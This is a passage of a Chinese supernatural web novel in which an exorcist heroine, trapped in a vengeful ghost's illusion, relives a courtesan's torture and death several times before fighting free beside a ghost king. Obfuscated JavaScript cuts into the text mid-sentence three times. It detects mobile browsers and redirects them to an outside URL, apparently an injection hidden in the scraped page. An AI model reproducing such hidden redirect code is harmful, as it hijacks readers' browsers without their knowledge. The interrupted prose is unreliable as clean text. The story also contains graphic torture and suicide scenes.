她的双手还不死心地攀上贺铭渊的肩膀,可惜这次对方不会再给她机会,几乎是条件反射般,立即弹开她仍欲作祟的手指,而后无情喊道:“你也是。” “按摩才刚刚开始,大少爷怎得要赶奴婢走?”柳若璃话里话外都透着一股委屈,偏偏那双葡萄般大小的瞳孔里,充斥着如狐狸般狡黠的神采。 贺铭渊直勾勾盯着她:“你自己做了什么,心里不清楚?” 反正外人也走得差不多了,柳若璃也索性不再饰演柔情丫鬟的戏码,原先还柔情密切的嗓音一去不复返,彻底恢复成正常人的声音:“鬼王大人,我当然是在帮您按摩,莫非您连这点力道都承受不住?” “柳大小姐的按摩手法世间少有,连我都想学习一二,方才我大致也懂了几分,为了聊表谢意,还请大小姐坐下,我也为你按摩一下。”他这番话说的可谓是诚意十足,当然了,前提是得先忽略他嘴角流露出的邪恶笑容。 其实柳若璃心里纳闷极了,明明是他说要调查真相,结果让她成为贴身婢女后,到目前为止一点行动也没有,真是不知道他葫芦里卖的是什么药。 而且,他从昨夜到今日,一直呆在这个书房里,从未出来过。当着旁人的面拼命使唤她,端茶倒水、添香研墨,一个人干几个人的活。 她有充分的理由怀疑,贺铭渊在公报私仇! 柳若璃倒也不藏着掖着,心里怎么想的便怎么问:“我瞧你一整天都呆在这破书房里,莫不是在找什么东西?” “哦,你觉得我在找什么?” 在她眼里,贺铭渊绝对是一个危险人物,同时他也是一个伪装高手,他明明法力高强,且骨子里藏着嗜血的念头,却常常以平易近人的一面,像温水煮青蛙般一点点降低猎物的警惕性。就好像此刻,他看似对她的话毫不在意,仍是以慵懒的态度对待她,可再完美的事物总会有一丝裂痕。 柳若璃能窥见他的紧张,他看似云淡风轻,连头都未曾抬起过,手中书籍却迟迟不曾翻开另一页,这与他先前的翻阅速度完全不一致。 其二,恐怕连他自己都未察觉到,他的语气莫名变得犀利起来。 柳若璃弯眉一笑,半边身体压在书桌上,指尖悄然落在他正埋头苦读的书籍上,食指微微一勾,一个借力打落那本书籍。 泛黄的纸张七仰八翻,不再东躲西藏,就这样大大方方显露于人前。 他见状,终于肯抬起头,毫无波澜的眼神里是一片死寂,就这样如孤狼般默默盯着她。 “我猜,你在找……”柳若璃如他所愿,却又抱着坏心思,在关键时刻停下。 随后指着书上的一行字,笑盈盈道:“金银珠宝。” 这本书籍平平无奇,记载的不过是一些李家人从外面购进来的货物,但他们都有一个共通点,那便是全是一些值钱玩意。 “没想到,鼎鼎大名的鬼王大人,也像凡人一般觊觎金银珠宝。” 她托着腮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059189|194974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,目不转睛地盯着对面的贺铭渊。她虽与恶鬼同盟,却不曾松懈过半分,当双方都各怀鬼胎时,比的就是谁更能装。 既想让人不为所知,那她偏要窥探一二。 “柳若璃,不要过度揣测。”贺铭渊拧着眉头,颇有点警示的意味,“不然,到时候你连怎么死的都不知道。” 眼见要烧到老虎屁股,她当即撒手站直身体。 “若你觉得无趣,便去和那些碎嘴子的丫鬟聊一下,说不定会有什么意外收获。”他大力合上书,小气地不肯再给她看上一眼,旋即又从书架扒拉出另一本,好似无事发生般安静地看书。 显而易见他这是在闭门赶客,柳若璃很有眼力见地麻溜离去。 她找到一个地方坐下歇息,使劲揪着地上的杂草,绕成一个死结再扯断。在这里,吃不好、穿不好、睡不好,还得被讨厌鬼当丫鬟使唤,管他什么调查真相,最多五日就算查不到,她也得离开这个鬼地方。 就在这时,一阵窃窃私语引起了她的注意,是一群浇花的丫鬟躲在角落里讲悄悄话。 其中一个圆脸丫鬟左右张望,又压低声线:“我从别处听来,少爷从前身体健壮,如今羸弱不堪,可能是被人诅咒了。” “啊!”几个丫鬟掩面,一脸讶然。 圆脸丫鬟继续讲:“而大少奶奶八字好,能破除少爷的诅咒。你们别不信,夫人一早就知晓,因此才特意选大少奶奶入府冲喜。最好的证明就是,大少奶奶一进来,少爷病就好了大半,虽说接亲时昏倒,但醒来后再也未发过病。” 另一个长脸丫鬟好奇提问:“那少爷身上的诅咒是怎么回事?少爷不是纵欲过度,身子骨才垮掉的吗?” “你们还不知道,除了少爷,还有他的朋友都一同得了病。如此凑巧,不是诅咒是什么?不然你以为之前府上的法事是摆设,那是夫人请来的大师在为少爷驱邪。” 长脸丫鬟仍是不信,只觉得夸大其词:“可人无缘无故,怎会被邪物诅咒?” “你傻啊!当然是做了亏心事,被邪物所忌恨!” 圆脸丫鬟几乎是贴在她们耳边,翕动嘴唇:“你们还记得之前醉仙楼的惨案吗?有个花魁死状凄惨、扒皮抽筋、血肉模糊,我怀疑和少爷有关,所以枉死的鬼魂找上门了。” 几个丫鬟一听,吓得脸色瞬间苍白,大白天的觉着体寒心慌,一溜烟地全跑了。 柳若璃若有所思,回想起初遇花蝴蝶的种种异样,迈着沉重的步伐推开了主屋的门。随后关上门,彻底与外面隔绝。她靠在门上,阳光正好打在她的脸上,除她以外漆黑一片。 屋内唯一有动静的是花蝴蝶,她坐在铜镜前揭下人皮,似乎再次陷入癫痫状态,嘴角笑着咧到颧骨上。她的脑袋突然之间“嘎吱嘎吱”乱响,以一个不可思议的角度转过来。 与此同时,她的眼里冒着令人发毛的绿光,一字一句感慨道:“柳天师,你不该来的!” 话音刚落,铜镜、床褥、熟悉的物品顷刻消失,地面在剧烈晃动,裂开一条黑缝,一只手猛地冒出,扣住柳若璃的脚踝,血肉淋漓的手上没有一块好肉,依稀可见森森白骨,更令人惊恐的是除了手以外,不见身体其他部位。 原本的空间在一点点扭曲、侵蚀,而她直接被拉到一个完全陌生的场景。 8. 身临其境 又是一阵地动天摇,柳若璃勉强站稳脚跟,这才抬眼开始打量此处。 空气中飘来一股难以形容的气味,粘稠、血腥、浑浊,种种一言难尽的味道混为一体,不断刺激她的嗅觉。 一眼望去,大殿富丽堂皇、皆由纯金所打造,男男女女用着金银玉器,他们的眼里充斥着最原始的傲慢、色欲、贪婪,嬉笑声、奏乐声、碰撞声彼此交织。她眼中所见,便是这副奢靡场景。 她身在此处,却像一个局外人,她可以看到旁人,旁人却看不到她。 明明是大白天,却不见一丝阳光,阴暗得从里到外都渗着一股被束缚的寒气,压得人喘不过气。 紧凑欢快的鼓声猝然响起,所有人的目光都聚集在高台之上,有一神秘女子翩翩起舞,转圈的同时甩动白绫缠在柱子的最上方,身子轻轻一跃,犹如仙女下凡般,曼妙的身姿在花海之中徜徉。 随着鼓声的节奏越来越快,柳若璃的意识渐渐模糊,她捂着头扶着墙壁慢慢坐下,仅存的意识在不停对抗入侵来犯。 尖锐的指甲刺进血肉里,她闷哼一声,以此维持清醒。 这里究竟是何处? “欢迎来到怨念空间。” 是花蝴蝶的声音,刺耳的笑声在她脑海中炸开。 “你想要做什么?”她快要支撑不出,残存的意识在被一点点啃食殆尽。 那道声音许久不曾回复,直至柳若璃即将昏迷之前,才轻飘飘道:“柳天师,我们来玩一场游戏吧。” “以恶鬼怨念织成的幻境,你会完全失去意识,身临其境感同身受。” “祝你好运。” 她只觉天旋地转,再次睁开双眼,茫然地望向四周。 她是何人?她身处何方?她为何来此?她全然不知。 不过走了两步,便听到铃铛作响,她俯首一看,自己竟没有穿鞋,裸露的脚踝旁系着一圈红铃铛。 再往上,是一身赤色广袖裙,很巧妙地剪裁掉腰间布料,虽略微暴露却不失俏皮。 她有些疑惑,自己莫非是个舞姬? 可还未等她细想,却有几个醉酒的公子哥过来纠缠。 而且很奇怪的是,其中一人的面孔尤为眼熟,似是曾在哪处见过。 只见那人一把扣住她的肩膀,醉醺醺的酒气直往她鼻子里钻,不安分的手指肆意摩挲她的脸庞,“小美人,你是不是落单了?” 几人发黑的眼底下藏着不怀好意的笑容:“要不要陪哥几个好好玩玩?” 她从公子哥的怀里挣扎开,怯懦地摇摇头,而后害怕地头也不回,一路奋力往前跑。 她一直往前跑,可前方的路却越来越暗,她什么也看不清,只能渐渐慢下脚步。 “哒哒哒——” 脚步声由轻变重,越来越近,随风挟裹而来,仿佛有人贴着她的耳朵窃窃私语。她的身体早已寒意沁骨,双腿发软无力硬是咬牙向前飞奔。 直到不慎撞到墙壁,才再次停下脚步。 她惊恐地发现,自己似乎来到一个死胡同。 周边漆黑一片,寂静地连声蝉鸣都没有,唯有她的心跳声,扑通扑通尤为明显。 她蜷缩在墙角,抱着双臂埋于胸前,活像一个被全世界抛弃的倒霉蛋。 冷风很应景地刮在她身上,单薄的衣服暂时充当庇护所,冻得发抖的赤足也只能无奈躲进去,可她心知肚明,这一点用也没有,压根抵挡不了丁点寒意。 肚子不合时宜地发出咕噜声响,她又冷又饿,泪水在泛红的眼眶里止不住地晃悠。 她好想出去,可是她又怕那群公子哥。 不知为何,冥冥之中有股很强烈的预感,如果被他们找到,后果不堪设想。 可怕的是,却在这时,黝黑的环境之下,传来一个男人的淫|笑:“小美人,原来你在这,终于找到你了!” 她无助地一步步后退,可哪里还有路呢。 最后一步退无可退,只需一步便会掉下百尺高楼。 前方被几人包围,她已无处可走。 一人冲上来想要捆住她的手脚,她拔下头上发簪胡乱往前一刺,那人没有防备竟被他一击命中。 鲜血顺着他的胸膛滚落到地面,那人吃痛勃然大怒,一个巴掌扇过来,“你大爷的,给脸不要脸。”旋即又是一脚踢在她的肚子上。 “啊——”她顿时痛得跪在地上,右手仍紧紧攥住防身利器。 他们像野兽般扑了上来,率先擒住她挣扎的手脚,“小美人,你若乖巧一些,我们还能饶你一命。你若执迷不悟,今日醉仙楼,只会有一个贱奴消失。” 她虽然被几人擒住,但是仍不愿放弃挣扎,双腿拼命在地上乱蹬,嘴巴早已被歹人死命捂住,只得发出一些呜呜声。 绝望之中,抓腿那人一时疏忽,卸了力道。她抓住机会,一脚猛踢在那人下巴上。 “该死的!”那人吐了口血水,凶狠地瞪着她,扯住她的头发压在地上,若有所思地盯着她的侧脸,阴笑道:“小美人,你长得可真貌美,就是可惜这张美人皮与你的品性极为不符,不如扒下来送与我,我帮你找个真正般配的主人。” “你说好不好?” 脚趾传来撕心裂肺的痛苦,好似有千军万马反复碾压,有密密麻麻的蚂蚁在啃食她的心头,心酸的痛楚汇聚在喉间,发泄般地怒吼出声。 那群凶蛮至极的公子哥,在一个一个掀翻她的指甲盖。 似是被这道声音所震撼,全部人忽然松开手。 她艰难地在地上攀爬,脚趾的疼痛让她只能膝盖发力,不停在地面摩擦直至流血。 她就像一条搁浅的鱼,拼命张开嘴拍打鱼尾,凭着自己的努力一步一步跳跃,仅差一步就能跳入大海重获自由。 地上拖出一条长长的血痕,而她仍在垂死挣扎。 偏偏贪婪的人类呐,放鱼走只为观赏它的丑态,而后再亲手掐灭它的希望。 他们毫不费力追上她,似密不透风的渔网般围住她,再次将她拖回那深不见底的囚牢。 血肉模糊的脚趾忍不住蜷缩,暴虐的血腥、痛苦的求饶、绝望的哭声,不会让这场凌辱改变分毫,只会助长他们的暴行,受到变本加厉的践踏。 脚趾甲掀完,又来掀她的手指甲。 一下又一下,痛感铺天盖地般涌上她的大脑,她早已无力挣扎,连句完整的话都说不出口。 那个想扒美人皮的变态,又站在她身前,高高在上地俯视她。 “你可知自己穿着暴露,不知羞耻,此乃一错。” “二错,一个卑贱的下等人,竟敢忤逆我等意愿。” “三错,以下犯上,殴打贵人,罪加一等。” “小美人,你可知错?” 前额碎发早已被冷汗浸湿,她哭着摇头,她没错,错的是这群混蛋,是他们人面兽心,把她一个好端端的人,当成畜生对待。 “不知悔改。”那人目露凶光,伸脚踩上她的脚后跟,不留余力、一点一点,踩碎她的骨头。 她痛得几近晕厥,嘶哑的喉咙早已发不出声。 一只手抚上她的脸庞,冰冷的触感令人不寒而栗。另一只手掐着她的脖颈,强行将她禁锢在围栏上。 冷峻的风带着死亡的气息飘来,猛地灌进她身后的围栏处,纷纷弥散在她的裙摆下。 她微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059190|194974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏头,幽暗的夜色下,她似身处悬崖边,一眼望不到头。 死在这群恶人手里,还不如干脆跳下去,一了百了。 她抱着这样的念头,身子狠狠往后一撞,围栏没有反应。 她不甘心,重来一次。 一次、两次、三次,那群人没有阻止她的行为,反而饶有兴趣地一旁观看。 在她的不懈努力之下,终于在撞第十下时,围栏随之松动,而她躲闪不及,顺着那股力,即将跌下高楼。 可就在这时,有人一把扯住她的后领。 “我们还未作甚,你就想寻死了。看来不动点真格,你不会长记性。” 利刃在她脸上划过一道道口子,手筋脚筋尽数被挑断,殷红的鲜血洒满一地。 不知何时,空中飘落雪花,越下越大,转眼已白茫茫一片。 她已奄奄一息,用尽最后一丝力气,摊开手掌心,纯洁的雪花落入手中,可她早已无力握住,只能任由它逐渐融化。 眼皮愈发沉重,在闭眼的最后一刻,她感受到身体被人推下高楼。 像一只捆住翅膀的飞鸟,快速跌落,重重跌倒在一片血泊之中,最终与雪融为一体。 大脑一片空白,世界重归寂静。 她这是死了吗? 可等她睁开双眼,竟再次回到原点。 一模一样的地点、一模一样的穿着、一模一样的客人,没有任何地方改变,只有她变了。 她不敢置信地抚摸脸颊,身上没有感到半分痛感。 彷佛方才就是做了一场噩梦,可脑海中的记忆却是无比真实。 这是怎么回事? 可下一刻,她的身体便寒冷得似乎成了一座冰雕,记忆里残酷无情的杀人凶手,竟再次现身站在她的面前。 刚才经历的一切都是真的! 她会被他们掀开手指甲、脚趾甲,骨头会被碾碎、尊严会被践踏,甚至还会被他们扒皮抽筋,无情地推下高楼,死得惨不忍睹。 先前种种非人折磨,莫非还会再次上演? 果不其然,如她所料,只见那群人醉醺醺地围在她周边,出声问道:“小美人,你是不是落单了?” 鸡皮疙瘩顷刻间爬满她的手臂,她浑身发抖、呼吸急促,回忆里的痛苦如潮水般涌来。 “啊!”她捂着头,吓得尖叫出声,下意识朝着人多的方向跑。 慌不择路间,她不慎撞到一位与她同样打扮的女子。 女子揉着腰抱怨道:“笙娘,你怎么回事,今日如此冒失?” 笙娘?这是她的名字,为何毫无印象。 她立马佯装虚弱状,揉着太阳穴,不经意间问道:“我今日吃得少了些,现下身体发虚得很,双眼都模糊不清,恕我耳拙,你是哪位好姐姐?” “我是晚娘。” 女子倒也不疑,扶着她坐到休息区,喂她吃了一些糕点,而后抬手掩面,打趣道:“瞧你方才那惊慌样,是不是又被哪位贵公子给缠得紧了?” 见笙娘沉默,似是默认确有其事,又好奇问道:“是哪位公子哥,能把你吓成这样?” 她并不知那群人身份,便含糊道:“我当时已然头晕,瞧不清那些人的脸,只知其中一人,手持折扇腰系玉佩,好不招摇。” “好妹妹,你可还记得有几人?” “五个人。” 晚娘顿时明了,随即不解道:“笙娘,你方才没有撞到脑袋吧?” “你当真不知那人是谁?” “他可是无妄城有名的风流公子,李府大郎。” “自你成为醉仙楼花魁后,他可是着了魔般缠着你,你当真不记得了?” 9. 意识觉醒 笙娘还未吭声回应,她的身影便摇摆不定,头脑愈发昏厥,眼前的晚娘似是变了个人,缓缓走来。 不复方才温柔,嘴角勾起一抹得意的笑容,“笙娘,莫要怪我。” “李大郎几次三番约你花前月下,共度良宵。怎料你自视清高,拒人于千里之外,这才令他恼羞成怒,命我将你迷晕任他处置。” 她抱着笙娘,喃喃自语:“我自是不如你貌美,可是我也不差的,为何那些贵公子眼里只有你?” “只委屈你一晚,待他们兑现承诺,我定不忘你。你也该好好想想,人老花黄后又没有依靠,只会被醉仙楼扫地出门。就得趁年轻有名气时,对男人多说些体己话,姐姐也是在帮你,过了今夜你会明白的。” 她不明白,她永远不会明白的。 药性发作很快,笙娘眼眶含着泪,强撑的身体倒了下来。 晚娘扶着她,走到一间卧室,里面空无一人。刚扶她上床,冷嗖嗖的风猛地从窗外飘进来,吹灭桌上本就摇摇欲坠的烛火,晚娘见状急忙掩窗。 一回头,便瞧见笙娘已睁开双眼,正死死地盯着她。 她吓了一跳! “笙娘,你醒了。”她露出几分心虚的笑容,好言劝道:“许是我下的剂量不够,你现下提前醒来,晚点恐会多受点苦,不知你受不受得了。” “承受不住,你会放过我吗?” 药效未过,笙娘只能轻微偏头,定睛望去:“他们许了你什么好处,能让你昧着良心谋害我?” “是许你金银珠宝,保你衣食无忧,还是替你赎身,纳入宅邸。” “他们口中所言,无凭无据,你当真信了?” 闻言,晚娘跪下,磕了三个重重的响头,“笙娘,你往日多番照拂于我,你我之间几乎是情同姐妹,我自是铭记于心,这三个响头便当赔不是。从今往后,任你要打要罚,我都心甘情愿。” 这番话,并不能阻止她可耻的行径。 而且,极有可能,所有的一切皆由她施行,嫉妒、虚荣、自私促使她策划这一起阴谋。 思及此,笙娘顿时崩溃,为何重来一遍,她还是逃不过结局。 她哀嚎道:“晚娘,我求求你,放过我。” “放过我,好不好?” 跪在地上之人沉默不语,间接表明了态度。 下一刻,笙娘声音响起:“如果你能放我走,往日恩客所赠珍宝,我愿尽数赠与你。” 她立马抬起头来,方才坚定的眼神有些许松动。 “就藏在……” 笙娘声音渐小,她并未听清后一句。 有些话,初时不曾在意,不代表不好奇。话说半截,好奇更如覆水般难收。 晚娘便是如此,为名为财,她敢出卖亲姐妹。 好奇会迫使她犹豫,而滋生的贪念更会影响她的理智。 她利欲熏心,哪能瞧见笙娘的指尖微微颤动,她的神色越来越冷,冷得不见一丝情感。 危险悄然靠近,她却浑然不觉。 只是一味靠近,激动的心情不加掩饰:“好妹妹,那些珍宝你藏在哪?” 笙娘的气息仍是弱得不甚清晰:“藏在……” 后半句又是含糊不清,隐匿于她的唇舌之间。 可晚娘不会放过任何有用的讯息,她越走越近,已站于床边,满怀期待地等待下一句。 笙娘如她所愿,再次张口,嘴唇蠕动:“在……南……” 她终于听清楚了,可还是不够,她急切地需要下一句,继而微微弯腰,贪婪的眼神毫不掩饰,直勾勾地盯着笙娘看。 “咳——”笙娘咳嗽一声。 “你再靠近些。” 晚娘又俯低身子,可笙娘不再吐露藏宝之地,只是不断重复。 “不够。” “再低点。” 她眼中流露出一丝不耐烦,但仍是听话照做,甚至径直偏头,耳廓几近贴于笙娘嘴边。 “噗嗤——” 是利器刺入皮肉的声音。 温热的血洒在笙娘的脸上,甚至滴入她的眼中,可她毫不在意。 “你骗我!” 晚娘瞪大双眼,用尽全力道出三个字,随后便没了气息,不过轻轻一推,便直挺挺地往侧边倒去。 “是你逼我的。”笙娘攥着金簪,手指不自觉颤抖。 金簪刺喉的瞬间,不断盘旋在脑海中,久久不肯消散。她忍不住抱头痛哭,她的双手沾满了血腥。 她杀人了! 即便侥幸逃出去,她也会被关入大牢。 上半边身子虽已恢复,下半边身子仍有些许僵硬,可她等不了。 硬是拖着疲软的身子,从窗口逃出去。 此时此刻,她赤脚行走,神志不清,衣衫带血,状若疯癫,只会本能地循着一个方向。 不知不觉间,她竟走到上一世被苦苦折磨的地方。 她凄惨地笑着,改变不了,什么都改变不了,唯有她一人困在里面,永不见天日。 痛不欲生,无穷无尽。 风轻轻拍打她的脸颊,不远处的脚步声随之传来。 “你们几个去那边看看,势必要一举擒拿杀人凶手。” 笙娘抬脚站上围栏,旋即张开双臂,毫不犹豫纵身一跃。 不同于上次的痛苦难耐,这一次,风在温柔地拥抱她。 “砰!” 直至落地的刹那间,所有喧嚣戛然而止。 短暂的黑暗过后,眼前迎来一片光明。 第三次! 她又复活了,仍然站在那个熟悉的位置。 这个世界果真如她所想,只要她一死便会重头再来。 前方有登徒子图谋不轨,后方有晚娘默默盯梢。 这是必死之局。 她要离开这个鬼地方。 大门在左侧方,她不过朝左挪了一步。 众人的目光竟瞬间汇聚在她身上,同一时间,分秒不差,就这般诡异地盯着她。 面无表情,眼神空洞,似是被人操控的傀儡。 有人把酒言欢、有人倒头大睡、有人凭栏望月,明明皆在做事,却无一例外偏头望来。 恐惧油然而生,深深扎入心底。 她又挪了一步,这下所有人的身体都朝她偏去。 看来,只要她敢朝大门方向迈去,众人就会成群结伴扑向她,拦住她。 这些人是鬼怪,是魔物,还是压根不存在?为何迷惑她、虐待她、阻拦她? 如果这个世界是假的,那她当真是笙娘吗? 会不会连她也是假的? 眼下,她全身上下除了头上发簪,便再无其他利器,可单单一个发簪,断不能抵挡众人围攻。 她环视四周,锁定目标,径直走向持剑官差,毫不犹豫地夺剑出鞘。 明明此人整个眼珠子里都映着她的身影,却完全当看不见般,不动怒、不出声、不动手。 她握住剑柄,重重吸了口气,随即便冲向出口处。 众人纷纷原形毕露,成百上千人犹如饿虎豺狼般扑过来。 挡在她面前的是人山人海,是毫无意识的行尸走肉。 她提剑狂奔,一路斩杀。 用剑从先前的生疏到后来的熟练,她这才恍然发现自己会武。 恍惚之下,竟未躲过旁人攻击,一把锋利的大刀捅进她的心口。 与此同时,无数利器朝她砍来。 “噗——”胸口剧痛袭来,她狼狈地跪在地上,五指在地上抓出血痕,鲜血止不住地从喉间溢出。 她眨了一下眼睛,半凝不凝的血滴从她的睫毛上滑落,脸上又新增一条狰狞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059191|194974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血痕,衣衫早已被划得零零落落。 体力几乎被这群怪物消耗殆尽,唯有借着利剑才能勉强起身。 指尖艰难地握住剑柄,剑锋一转,指向众人,字字句句道尽不甘:“我不属于这里!” “想要把我困在这个鬼地方,那就尽管来杀我,我复活一次,我就杀你们一次。” “男人,杀。” “女人,杀。” “幼童,杀。” “老人,杀。” “杀一个是杀,杀两个也是杀,我一个也不会放过!” 说罢,她一剑抹喉,自尽身亡。 第四次! 她睁开双眼,兀自走到持剑官差面前,麻利地拔剑出鞘。 第一刀,自是砍李大郎。 他吓得尿了裤子。 扒皮抽筋、瞎眼毁容、剁命根子,一样也少不了。 余下四人也是如此,同等待遇,一个也跑不了。 剑上沾满殷红的鲜血,她踩着李大郎的头颅,眼也不眨,高举利剑,重重砍了下来。 血淋淋的头颅“咕噜咕噜”地滚到晚娘脚下,她已吓得花容失色。 奇怪的是,除了李大郎和晚娘,其余人从未流露出害怕的神情。 而李大郎和晚娘,在这个世界从头到尾都比他们更像个活生生的人。 即便她已连续残忍杀害五人,众人也是袖手旁观。 就好像创造这个世界的人,同她一般憎恨他们。 只要她不主动逃跑,不主动攻击那群怪物,就不会有人伤害她。 真是好生古怪! 她扬剑指着晚娘,冷冷问道:“这里究竟是何处?你绝非常人,到底是何物? 晚娘吓得跪倒在地,不停磕头哀求:“不要杀我,不要杀我!” 完全听不懂她的问题,只会一味重复自己言语。 没有任何信息,她愈发心烦,索性一剑封喉,给她一个痛快。 “滴答滴答——”剑刃上流淌着的鲜血凝成血珠,一点一点滴在地上。 她脚尖点地,一跃而起,与众人厮杀在一起。 杀到最后,她已麻木,鲜血与死亡早已见惯不怪。 她杀了好多人,也死了好几次,终于在第八次时,她杀光所有障碍物,正欲开门之际,感受到胸膛一阵疼痛。 往下一看,是一枚暗器从后方飞来,深深刺入她的胸口。 鲜血瞬间弥漫,渗透衣衫。 可她仍咬牙,捂着胸口强忍疼痛,推开大门。 眼前一片虚无,什么也没有。 这个世界是虚假的,能让她所看见的只有醉仙楼。 她猛地回头一看,一个白衣身影从后方飘过。 大意了,她竟未发现还有一人。 而那人,她曾见过。 原来是她! 尘封的意识与记忆顿时涌入大脑,她终于回想起自己的身份。 从始至终,她都不是醉仙楼的笙娘,她乃柳家传人—— 柳若璃,字言卿。 她被困在花蝴蝶的幻境里,不断经历她临终前所受到的非人折磨。 她忍不住笑了笑,随后缓缓合上双眼。 第九次! 这一次略有不同,多了一位外来之客。 她刚睁开眼睛,便撞上一个坚硬且寒冷的物件。 他身姿修长挺拔,一袭红袍随风而动,幽深的眼眸中透着冰冷的寒意,又带着几分漫不经心。细看之下,肤色冷白,不似常人,尽管被柳若璃狠狠撞到胸口,面色仍毫无情绪起伏,宛若一座巍然不动的冰山。 可一瞧见她,便忍不住弯了嘴角:“柳大小姐,不过分开一小会儿,你怎会变得这般凄惨!” 见讨厌鬼落井下石,柳若璃不由得皱起眉头:“贺铭渊,你怎么也进来了?” 10. 吸取阳气 “怎么,堂堂鬼王也会中小鬼的计?” 柳若璃在试探的同时,发觉眼前的讨厌鬼肤色比前几日还要惨白,瞧着很是虚弱,就连周身气场都弱了几分。 “我的同盟误入幻境,作为盟友哪有见死不救的道理。” “你有还嘴的功夫,倒不如想想如何出去?” “此地乃恶鬼的怨念空间,您进来的可不是真身,而是你的元神。” “强大的怨念会误导你,让你陷入无穷无尽的磨难之中,轻则痴傻疯癫,重则元神俱灭。” 贺铭渊说得好好的,突然闷哼一声,嘴角溢出黑血。 她惊讶地发现,讨厌鬼的魂变得黯淡无光。 “你你你!你快魂灭了?!” 贺铭渊用指腹轻轻擦拭嘴角血迹,白了她一眼:“你是在诅咒我吗?” 随后唇角微勾,“可惜了,我的鬼生长得很。” “轻伤而已,大惊小怪。” 他在原地盘腿而坐,闭上眼睛调整气息的同时,还不忘出声:“倒是你,有些令人出乎意料。‘’继而半睁双眼,淡淡瞥了眼柳若璃,不经意道:“常人被困在此地,皆会迷失自我,你竟还能忆起身份。” 柳若璃摇头道:“我也算死了八次,并不好受。” 即便现下回想前八次,她也还能记得当时的血腥场景,奄奄一息,犹如血人。 那种痛,如千刀万剐般,深入骨髓,她一辈子也不会忘记。 她握紧拳头,并告知:“若非第八次,我被一白衣女子暗害,我可能永远也醒不来。” “我的意识尚未被入侵之前,我曾与她有过一面之缘,当时她在高台之上,一舞惊人。前七次根本没有此人身影,直到第八次我才又看见她。” “我怀疑,她便是花蝴蝶在这个世界的化身。找到她,或许我们便有一线生机。” 只听讨厌鬼又开口,轻描淡写道:“有我在,你死不了。” 柳若璃叉腰望他,眼里充满疑虑:“口气倒是挺大,你该如何解释,怎会来到此处?” “莫非,你俩才是同谋,伙同欺瞒我,将我困于此地?” “毕竟我的身世,本来就是你们恶鬼的公敌,之前说好的同盟,也只是降低我的戒心,好将我全程玩弄于鼓掌之间,想看我临死前的苦苦挣扎。” 她渐渐靠近,步步紧逼,寸步不让。 此时,贺铭渊已完全睁开双眸,狭长的凤眼闪过一抹不易察觉的寒意。 “呵!” “柳大小姐,有没有人同你说过?” “你生性多疑,不识好人心。” “我若是想要害你,何必与一低阶小鬼合作,那些下三滥的手段,我不会、也不屑使用。依我的性格,亲手杀死你,更合我心意。” “你出生天师世家,想必也知,人死后鬼差会带走他们。可若怨念过深,他们就会化为恶鬼,除非怨念消散,否则下场便是魂飞魄散、不入轮回。还有一种特殊情况,就是以鬼之身得道成仙,可惜至今为止并无一例。” “而恶鬼开放怨念空间,有两种情况,一种是无法压制怨念,致使怨念爆发。另一种,便是拼死一搏,拉人进来当替死鬼,吸干凡人的寿命,延长自己的鬼命生涯。” “然而不管是哪种情况,最终结局都是真正的死亡。” “你猜,花蝴蝶又是哪一种情况?” 柳若璃沉默不语,在她眼里,花蝴蝶有两个人格,一个是杀人不眨眼的疯批恶女,另一个是单纯又爱哭的怂包少女。 或许她是无意中伤,但是不可否认,花蝴蝶的所作所为,都令她的身心遭受到重创。 她知晓,自己所经历的一切,花蝴蝶死前也经历过。 她同情她的遭遇,但绝不会原宥她。 整理好情绪,她方开口:“不管是那种情况,我都会亲手捉住她。” “你可有看清那白衣女子的脸?”贺铭渊起身,走到她身旁。 瞧他现如今的脸色,稍微好了一点,就连周边萦绕的戾气也变回最初的强盛状态。 虽不知他身体为何受创,但身体约莫是已经恢复好了。 柳若璃抓着头发,仔细回想,不愿放过任何一丝细节,可惜仍是一无所获:“初见时她蒙着面纱,我并未看清她的长相,后面她暗杀我时,我也只隐约瞧到一个背影。” 贺铭渊沉声道:“如若那人当真是花蝴蝶,那么便会长得同她一样。” “可是,我们并不知花蝴蝶的真实模样。若是她并未撒谎,打从一开始,我们见到她时,她的面皮就是从乱葬岗捡回来的。” 柳若璃话音刚落,一股白雾突然弥漫开来。 “怎么回事?”她抬手捂住口鼻,唯恐白雾有毒。 贺铭渊毫不畏惧,浓浓的白雾已完全盖住他的视线,可他仍目视前方,旋即一把拉住柳若璃的衣袖,“跟着我,别走散了。” 这雾气来势汹汹,带着一股腥臭味,不断刺激二人的嗅觉。纵使柳若璃早已拿衣袖捂住鼻腔,仍是快要被恶心吐了,而后更是再也忍不住,干呕一声。 